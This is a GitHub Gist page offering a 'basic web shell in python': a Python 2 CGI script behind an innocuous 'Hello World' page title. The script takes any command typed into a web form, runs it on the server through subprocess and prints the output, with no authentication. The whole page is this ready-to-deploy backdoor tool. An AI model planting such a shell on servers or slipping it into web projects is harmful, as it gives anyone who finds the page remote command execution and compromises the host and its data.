Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Basic web shell in python
#!/usr/bin/env python
import cgi
import subprocess
import cgitb
def run(command):
if not command:
raise Exception("Commande vide")
p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
return out
print "Content-Type: text/html"
print "<html>"
print "<head>"
print "<title>Hello World</title>"
print "</head>"
print "<body>"
print "<form method='post' action=''>"
print "<input type='text' name='command' />"
print "<input type='submit' value='submit' />"
print "</form>"
form = cgi.FieldStorage()
if 'command' in form:
cmd = form['command'].value
print "<font face='monospace'>"
print "$ %s" % cmd
print "<br>"
for i in run(cmd).split('\n'):
print i, "<br>"
print "</font>"
print "</body>"
print "</html>"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment